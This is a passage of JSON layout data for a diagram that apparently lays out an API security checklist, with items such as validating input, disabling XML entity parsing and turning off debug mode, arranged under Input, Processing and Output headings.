\"0\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"0\",\n                                    \"measuredW\": \"539\",\n                                    \"measuredH\": \"28\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"size\": \"20\",\n                                        \"text\": \"Have default scope, and validate scope for each application\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"69\",\n                    \"typeID\": \"Arrow\",\n                    \"zOrder\": \"69\",\n                    \"w\": \"620\",\n                    \"h\": \"1\",\n                    \"measuredW\": \"150\",\n                    \"measuredH\": \"100\",\n                    \"x\": \"193\",\n                    \"y\": \"1046\",\n                    \"properties\": {\n                        \"curvature\": \"0\",\n                        \"leftArrow\": \"false\",\n                        \"rightArrow\": \"false\",\n                        \"color\": \"4273622\",\n                        \"p0\": {\n                            \"x\": 0.23125640404211367,\n                            \"y\": 0\n                        },\n                        \"p1\": {\n                            \"x\": 0.49994495226877456,\n                            \"y\": 0.0003335799224988863\n                        },\n                        \"p2\": {\n                            \"x\": 620.5,\n                            \"y\": 0\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"70\",\n                    \"typeID\": \"Canvas\",\n                    \"zOrder\": \"70\",\n                    \"w\": \"264\",\n                    \"h\": \"50\",\n                    \"measuredW\": \"100\",\n                    \"measuredH\": \"70\",\n                    \"x\": \"357\",\n                    \"y\": \"1021\",\n                    \"properties\": {\n                        \"color\": \"16776960\"\n                    }\n                },\n                {\n                    \"ID\": \"71\",\n                    \"typeID\": \"Label\",\n                    \"zOrder\": \"71\",\n                    \"measuredW\": \"47\",\n                    \"measuredH\": \"28\",\n                    \"x\": \"465\",\n                    \"y\": \"1032\",\n                    \"properties\": {\n                        \"size\": \"20\",\n                        \"text\": \"Input\"\n                    }\n                },\n                {\n                    \"ID\": \"72\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"72\",\n                    \"measuredW\": \"30\",\n                    \"measuredH\": \"30\",\n                    \"w\": \"30\",\n                    \"h\": \"30\",\n                    \"x\": \"214\",\n                    \"y\": \"1103\",\n                    \"properties\": {\n                        \"controlName\": \"check:proper-http-methods\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"30\",\n                                    \"h\": \"30\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\"\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"73\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"73\",\n                    \"measuredW\": \"399\",\n                    \"measuredH\": \"28\",\n                    \"w\": \"399\",\n                    \"h\": \"28\",\n                    \"x\": \"261\",\n                    \"y\": \"1105\",\n                    \"properties\": {\n                        \"controlName\": \"proper-http-methods\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"0\",\n                                    \"measuredW\": \"399\",\n                                    \"measuredH\": \"28\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"size\": \"20\",\n                                        \"text\": \"Use proper HTTP methods for the operation\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"74\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"74\",\n                    \"measuredW\": \"30\",\n                    \"measuredH\": \"30\",\n                    \"w\": \"30\",\n                    \"h\": \"30\",\n                    \"x\": \"214\",\n                    \"y\": \"1146\",\n                    \"properties\": {\n                        \"controlName\": \"check:validate-content-type\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"30\",\n                                    \"h\": \"30\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\"\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"75\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"75\",\n                    \"measuredW\": \"373\",\n                    \"measuredH\": \"28\",\n                    \"w\": \"373\",\n                    \"h\": \"28\",\n                    \"x\": \"261\",\n                    \"y\": \"1148\",\n                    \"properties\": {\n                        \"controlName\": \"validate-content-type\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"0\",\n                                    \"measuredW\": \"373\",\n                                    \"measuredH\": \"28\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"size\": \"20\",\n                                        \"text\": \"Validate `content-type` on request header\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"76\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"76\",\n                    \"measuredW\": \"30\",\n                    \"measuredH\": \"30\",\n                    \"w\": \"30\",\n                    \"h\": \"30\",\n                    \"x\": \"215\",\n                    \"y\": \"1186\",\n                    \"properties\": {\n                        \"controlName\": \"check:validate-user-input\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"30\",\n                                    \"h\": \"30\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\"\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"77\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"77\",\n                    \"measuredW\": \"457\",\n                    \"measuredH\": \"28\",\n                    \"w\": \"457\",\n                    \"h\": \"28\",\n                    \"x\": \"261\",\n                    \"y\": \"1188\",\n                    \"properties\": {\n                        \"controlName\": \"validate-user-input\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"0\",\n                                    \"measuredW\": \"457\",\n                                    \"measuredH\": \"28\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"size\": \"20\",\n                                        \"text\": \"Validate user input to avoid common vulnerabilities\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"78\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"78\",\n                    \"measuredW\": \"30\",\n                    \"measuredH\": \"30\",\n                    \"w\": \"30\",\n                    \"h\": \"30\",\n                    \"x\": \"215\",\n                    \"y\": \"1224\",\n                    \"properties\": {\n                        \"controlName\": \"check:authorization-header\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"30\",\n                                    \"h\": \"30\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\"\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"79\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"79\",\n                    \"measuredW\": \"474\",\n                    \"measuredH\": \"28\",\n                    \"w\": \"474\",\n                    \"h\": \"28\",\n                    \"x\": \"261\",\n                    \"y\": \"1226\",\n                    \"properties\": {\n                        \"controlName\": \"authorization-header\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"0\",\n                                    \"measuredW\": \"474\",\n                                    \"measuredH\": \"28\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"size\": \"20\",\n                                        \"text\": \"Use standard Authorization header for sensitive data\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"80\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"80\",\n                    \"measuredW\": \"30\",\n                    \"measuredH\": \"30\",\n                    \"w\": \"30\",\n                    \"h\": \"30\",\n                    \"x\": \"216\",\n                    \"y\": \"1263\",\n                    \"properties\": {\n                        \"controlName\": \"check:only-server-side-encryption\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"30\",\n                                    \"h\": \"30\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\"\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"81\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"81\",\n                    \"measuredW\": \"285\",\n                    \"measuredH\": \"28\",\n                    \"w\": \"285\",\n                    \"h\": \"28\",\n                    \"x\": \"261\",\n                    \"y\": \"1265\",\n                    \"properties\": {\n                        \"controlName\": \"only-server-side-encryption\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"0\",\n                                    \"measuredW\": \"285\",\n                                    \"measuredH\": \"28\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"size\": \"20\",\n                                        \"text\": \"Use only server-side encryption\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"82\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"82\",\n                    \"measuredW\": \"30\",\n                    \"measuredH\": \"30\",\n                    \"w\": \"30\",\n                    \"h\": \"30\",\n                    \"x\": \"216\",\n                    \"y\": \"1305\",\n                    \"properties\": {\n                        \"controlName\": \"check:api-gateway\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"30\",\n                                    \"h\": \"30\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\"\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"83\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"83\",\n                    \"measuredW\": \"499\",\n                    \"measuredH\": \"28\",\n                    \"w\": \"499\",\n                    \"h\": \"28\",\n                    \"x\": \"261\",\n                    \"y\": \"1307\",\n                    \"properties\": {\n                        \"controlName\": \"api-gateway\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"0\",\n                                    \"measuredW\": \"499\",\n                                    \"measuredH\": \"28\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"size\": \"20\",\n                                        \"text\": \"Use an API Gateway for caching, Rate Limit policies etc\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"84\",\n                    \"typeID\": \"Arrow\",\n                    \"zOrder\": \"84\",\n                    \"w\": \"726\",\n                    \"h\": \"1\",\n                    \"measuredW\": \"150\",\n                    \"measuredH\": \"100\",\n                    \"x\": \"816\",\n                    \"y\": \"978\",\n                    \"properties\": {\n                        \"curvature\": \"0\",\n                        \"leftArrow\": \"false\",\n                        \"rightArrow\": \"false\",\n                        \"color\": \"4273622\",\n                        \"p0\": {\n                            \"x\": -0.2686368305519409,\n                            \"y\": 0\n                        },\n                        \"p1\": {\n                            \"x\": 0.5001077701859017,\n                            \"y\": 0.0003391382343339101\n                        },\n                        \"p2\": {\n                            \"x\": 725.5310311167375,\n                            \"y\": 0\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"85\",\n                    \"typeID\": \"Canvas\",\n                    \"zOrder\": \"85\",\n                    \"w\": \"252\",\n                    \"h\": \"50\",\n                    \"measuredW\": \"100\",\n                    \"measuredH\": \"70\",\n                    \"x\": \"1015\",\n                    \"y\": \"953\",\n                    \"properties\": {\n                        \"color\": \"16776960\"\n                    }\n                },\n                {\n                    \"ID\": \"86\",\n                    \"typeID\": \"Label\",\n                    \"zOrder\": \"86\",\n                    \"measuredW\": \"101\",\n                    \"measuredH\": \"28\",\n                    \"x\": \"1090\",\n                    \"y\": \"964\",\n                    \"properties\": {\n                        \"size\": \"20\",\n                        \"text\": \"Processing\"\n                    }\n                },\n                {\n                    \"ID\": \"87\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"87\",\n                    \"measuredW\": \"30\",\n                    \"measuredH\": \"30\",\n                    \"w\": \"30\",\n                    \"h\": \"30\",\n                    \"x\": \"861\",\n                    \"y\": \"1035\",\n                    \"properties\": {\n                        \"controlName\": \"check:endpoint-authentication\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"30\",\n                                    \"h\": \"30\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\"\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"88\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"88\",\n                    \"measuredW\": \"559\",\n                    \"measuredH\": \"61\",\n                    \"w\": \"559\",\n                    \"h\": \"61\",\n                    \"x\": \"907\",\n                    \"y\": \"1036\",\n                    \"properties\": {\n                        \"controlName\": \"endpoint-authentication\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"0\",\n                                    \"measuredW\": \"559\",\n                                    \"measuredH\": \"28\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"size\": \"20\",\n                                        \"text\": \"Check if all the endpoints are protected behind authentication\"\n                                    }\n                                },\n                                {\n                                    \"ID\": \"1\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"1\",\n                                    \"measuredW\": \"351\",\n                                    \"measuredH\": \"28\",\n                                    \"x\": \"0\",\n                                    \"y\": \"33\",\n                                    \"properties\": {\n                                        \"size\": \"20\",\n                                        \"text\": \"to avoid broken authentication process\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"89\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"89\",\n                    \"measuredW\": \"30\",\n                    \"measuredH\": \"30\",\n                    \"w\": \"30\",\n                    \"h\": \"30\",\n                    \"x\": \"861\",\n                    \"y\": \"1105\",\n                    \"properties\": {\n                        \"controlName\": \"check:avoid-personal-id-urls\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"30\",\n                                    \"h\": \"30\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\"\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"90\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"90\",\n                    \"measuredW\": \"618\",\n                    \"measuredH\": \"28\",\n                    \"w\": \"618\",\n                    \"h\": \"28\",\n                    \"x\": \"907\",\n                    \"y\": \"1108\",\n                    \"properties\": {\n                        \"controlName\": \"avoid-personal-id-urls\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"0\",\n                                    \"measuredW\": \"618\",\n                                    \"measuredH\": \"28\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"size\": \"20\",\n                                        \"text\": \"Avoid user’s personal ID in the resource URLs e.g. {color:blue}users/242/orders{color}\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"91\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"91\",\n                    \"measuredW\": \"30\",\n                    \"measuredH\": \"30\",\n                    \"w\": \"30\",\n                    \"h\": \"30\",\n                    \"x\": \"861\",\n                    \"y\": \"1149\",\n                    \"properties\": {\n                        \"controlName\": \"check:prefer-uuid\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"30\",\n                                    \"h\": \"30\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\"\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"92\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"92\",\n                    \"measuredW\": \"390\",\n                    \"measuredH\": \"28\",\n                    \"w\": \"390\",\n                    \"h\": \"28\",\n                    \"x\": \"907\",\n                    \"y\": \"1152\",\n                    \"properties\": {\n                        \"controlName\": \"prefer-uuid\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"0\",\n                                    \"measuredW\": \"390\",\n                                    \"measuredH\": \"28\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"size\": \"20\",\n                                        \"text\": \"Prefer using UUID over auto-increment IDs\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"93\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"93\",\n                    \"measuredW\": \"30\",\n                    \"measuredH\": \"30\",\n                    \"w\": \"30\",\n                    \"h\": \"30\",\n                    \"x\": \"861\",\n                    \"y\": \"1191\",\n                    \"properties\": {\n                        \"controlName\": \"check:disable-entity-parsing-xml\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"30\",\n                                    \"h\": \"30\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\"\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"94\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"94\",\n                    \"measuredW\": \"586\",\n                    \"measuredH\": \"28\",\n                    \"w\": \"586\",\n                    \"h\": \"28\",\n                    \"x\": \"907\",\n                    \"y\": \"1194\",\n                    \"properties\": {\n                        \"controlName\": \"disable-entity-parsing-xml\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"0\",\n                                    \"measuredW\": \"586\",\n                                    \"measuredH\": \"28\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"size\": \"20\",\n                                        \"text\": \"Disable entity parsing if you are parsing XML to avoid XXE attacks\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"95\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"95\",\n                    \"measuredW\": \"30\",\n                    \"measuredH\": \"30\",\n                    \"w\": \"30\",\n                    \"h\": \"30\",\n                    \"x\": \"861\",\n                    \"y\": \"1233\",\n                    \"properties\": {\n                        \"controlName\": \"check:disable-entity-expansion\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"30\",\n                                    \"h\": \"30\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\"\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"96\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"96\",\n                    \"measuredW\": \"584\",\n                    \"measuredH\": \"28\",\n                    \"w\": \"584\",\n                    \"h\": \"28\",\n                    \"x\": \"907\",\n                    \"y\": \"1234\",\n                    \"properties\": {\n                        \"controlName\": \"disable-entity-expansion\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"0\",\n                                    \"measuredW\": \"584\",\n                                    \"measuredH\": \"28\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"size\": \"20\",\n                                        \"text\": \"Disable entity expansion if using XML, YML or any other language\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"97\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"97\",\n                    \"measuredW\": \"30\",\n                    \"measuredH\": \"30\",\n                    \"w\": \"30\",\n                    \"h\": \"30\",\n                    \"x\": \"861\",\n                    \"y\": \"1275\",\n                    \"properties\": {\n                        \"controlName\": \"check:cdn-for-file-uploads\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"30\",\n                                    \"h\": \"30\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\"\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"98\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"98\",\n                    \"measuredW\": \"223\",\n                    \"measuredH\": \"28\",\n                    \"w\": \"223\",\n                    \"h\": \"28\",\n                    \"x\": \"907\",\n                    \"y\": \"1276\",\n                    \"properties\": {\n                        \"controlName\": \"cdn-for-file-uploads\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"0\",\n                                    \"measuredW\": \"223\",\n                                    \"measuredH\": \"28\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"size\": \"20\",\n                                        \"text\": \"Use CDN for file uploads\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"99\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"99\",\n                    \"measuredW\": \"30\",\n                    \"measuredH\": \"30\",\n                    \"w\": \"30\",\n                    \"h\": \"30\",\n                    \"x\": \"861\",\n                    \"y\": \"1316\",\n                    \"properties\": {\n                        \"controlName\": \"check:avoid-http-blocking\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"30\",\n                                    \"h\": \"30\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\"\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"100\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"100\",\n                    \"measuredW\": \"520\",\n                    \"measuredH\": \"28\",\n                    \"w\": \"520\",\n                    \"h\": \"28\",\n                    \"x\": \"907\",\n                    \"y\": \"1317\",\n                    \"properties\": {\n                        \"controlName\": \"avoid-http-blocking\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"0\",\n                                    \"measuredW\": \"520\",\n                                    \"measuredH\": \"28\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"size\": \"20\",\n                                        \"text\": \"Avoid HTTP blocking if you are using huge amount of data\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"101\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"101\",\n                    \"measuredW\": \"30\",\n                    \"measuredH\": \"30\",\n                    \"w\": \"30\",\n                    \"h\": \"30\",\n                    \"x\": \"861\",\n                    \"y\": \"1358\",\n                    \"properties\": {\n                        \"controlName\": \"check:debug-mode-off\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"30\",\n                                    \"h\": \"30\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\"\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"102\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"102\",\n                    \"measuredW\": \"464\",\n                    \"measuredH\": \"28\",\n                    \"w\": \"464\",\n                    \"h\": \"28\",\n                    \"x\": \"907\",\n                    \"y\": \"1359\",\n                    \"properties\": {\n                        \"controlName\": \"debug-mode-off\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"0\",\n                                    \"measuredW\": \"464\",\n                                    \"measuredH\": \"28\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"size\": \"20\",\n                                        \"text\": \"Make sure to turn the debug mode off in production\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"103\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"103\",\n                    \"measuredW\": \"30\",\n                    \"measuredH\": \"30\",\n                    \"w\": \"30\",\n                    \"h\": \"30\",\n                    \"x\": \"861\",\n                    \"y\": \"1400\",\n                    \"properties\": {\n                        \"controlName\": \"check:non-executable-stacks\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"30\",\n                                    \"h\": \"30\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\"\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"104\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"104\",\n                    \"measuredW\": \"386\",\n                    \"measuredH\": \"28\",\n                    \"w\": \"386\",\n                    \"h\": \"28\",\n                    \"x\": \"907\",\n                    \"y\": \"1401\",\n                    \"properties\": {\n                        \"controlName\": \"non-executable-stacks\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"0\",\n                                    \"measuredW\": \"386\",\n                                    \"measuredH\": \"28\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"size\": \"20\",\n                                        \"text\": \"Use non-executable stacks when available.\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"105\",\n                    \"typeID\": \"Arrow\",\n                    \"zOrder\": \"105\",\n                    \"w\": \"620\",\n                    \"h\": \"1\",\n                    \"measuredW\": \"150\",\n                    \"measuredH\": \"100\",\n                    \"x\": \"193\",\n                    \"y\": \"1410\",\n                    \"properties\": {\n                        \"curvature\": \"0\",\n                        \"leftArrow\": \"false\",\n                        \"rightArrow\": \"false\",\n                        \"color\": \"4273622\",\n                        \"p0\": {\n                            \"x\": 0.23125640404211367,\n                            \"y\": 0\n                        },\n                        \"p1\": {\n                            \"x\": 0.49994495226877456,\n                            \"y\": 0.0003335799224988863\n                        },\n                        \"p2\": {\n                            \"x\": 620.5,\n                            \"y\": 0\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"106\",\n                    \"typeID\": \"Canvas\",\n                    \"zOrder\": \"106\",\n                    \"w\": \"264\",\n                    \"h\": \"50\",\n                    \"measuredW\": \"100\",\n                    \"measuredH\": \"70\",\n                    \"x\": \"357\",\n                    \"y\": \"1385\",\n                    \"properties\": {\n                        \"color\": \"16776960\"\n                    }\n                },\n                {\n                    \"ID\": \"107\",\n                    \"typeID\": \"Label\",\n                    \"zOrder\": \"107\",\n                    \"measuredW\": \"62\",\n                    \"measuredH\": \"28\",\n                    \"x\": \"458\",\n                    \"y\": \"1396\",\n                    \"properties\": {\n                        \"size\": \"20\",\n                        \"text\": \"Output\"\n                    }\n                },\n                {\n                    \"ID\": \"108\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"108\",\n                    \"measuredW\": \"30\",\n                    \"measuredH\": 